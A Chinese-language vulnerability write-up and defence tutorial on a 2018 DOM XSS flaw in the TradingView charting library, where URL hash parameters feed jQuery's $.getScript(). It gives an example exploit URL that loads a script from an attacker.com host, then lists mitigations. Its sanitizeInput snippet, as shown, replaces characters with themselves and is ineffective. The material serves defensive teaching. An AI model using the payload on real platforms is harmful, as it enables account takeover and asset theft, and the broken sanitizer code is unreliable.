通杀绝⼤多数交易平台的Tradingview Dom XSS漏洞分析
字数 1448 2025-08-18 11:37:42
TradingView DOM XSS漏洞分析与防御教学文档
漏洞概述
本漏洞是2018年发现的TradingView图表库中的一个DOM型XSS(跨站脚本)漏洞,影响绝大多数使用该库的交易平台。该漏洞允许攻击者绕过Cloudflare等防御机制,可能导致用户账号权限被盗、恶意操作及资产损失。
漏洞影响范围
- 使用TradingView图表库的交易平台
- 特别是使用
charting_library文件夹中自动生成的tv-chart*.html文件的系统 - 影响版本:2018年及之前的版本(漏洞已修复)
漏洞技术分析
漏洞位置
漏洞主要存在于以下文件中:
tv-chart*.html(星号为随机值)library.19c99ed5d0307c67f071.js(或其他类似命名的JS文件)
漏洞触发机制
-
参数注入点:
indicatorsFiledisabledFeaturesenabledFeatures
-
关键漏洞代码:
D ? $.getScript(urlParams.indicatorsFile).done(function()...这段代码使用jQuery的
$.getScript()方法动态加载并执行来自indicatorsFile参数的JavaScript代码。 -
参数解析过程:
- 通过
location.href获取完整URL - 使用
indexOf("#")定位hash部分 - 使用
substring()提取hash后的参数 - 使用正则表达式
/([^?=&]+)(=([^&]*))?/g解析参数和值 - 将参数值存入对象
n中
- 通过
漏洞利用条件
攻击者需要能够控制以下任一参数的值:
indicatorsFiledisabledFeaturesenabledFeatures
并通过这些参数注入恶意JavaScript代码。
漏洞利用示例
攻击者可以构造如下恶意URL:
https://vulnerable-platform.com/tv-chart.html#indicatorsFile=https://attacker.com/malicious.js
当受害者访问该URL时,系统会:
- 解析URL中的
indicatorsFile参数 - 使用
$.getScript()加载并执行来自https://attacker.com/malicious.js的代码 - 恶意代码在受害者浏览器上下文中执行
漏洞防御措施
开发者防护方案
-
输入验证:
- 对所有传入参数进行严格验证
- 使用白名单机制限制允许的URL和文件来源
-
输出编码:
- 对动态插入到DOM中的内容进行适当的HTML编码
-
内容安全策略(CSP):
- 实施严格的CSP策略,限制脚本加载源
- 例如:
Content-Security-Policy: script-src 'self'
-
禁用危险函数:
- 避免直接使用
$.getScript()加载动态URL - 如需使用,应先验证URL的合法性
- 避免直接使用
-
参数过滤:
function sanitizeInput(input) { return input.replace(/</g, "<").replace(/>/g, ">"); }
平台管理员防护方案
-
及时更新:
- 确保使用最新版本的TradingView图表库
- 应用所有安全补丁
-
WAF配置:
- 配置Web应用防火墙规则,拦截可疑的XSS攻击尝试
-
监控与日志:
- 监控异常的参数值
- 记录所有可疑的访问尝试
漏洞修复验证
修复后应验证:
- 尝试注入恶意脚本是否被阻止
- CSP策略是否有效
- 参数过滤机制是否正常工作
总结
该DOM XSS漏洞展示了即使使用知名库如TradingView也可能存在严重安全隐患。开发者必须对所有用户输入保持警惕,实施多层防御措施,并定期进行安全审计。对于金融交易平台等敏感系统,更应实施严格的安全控制和监控机制。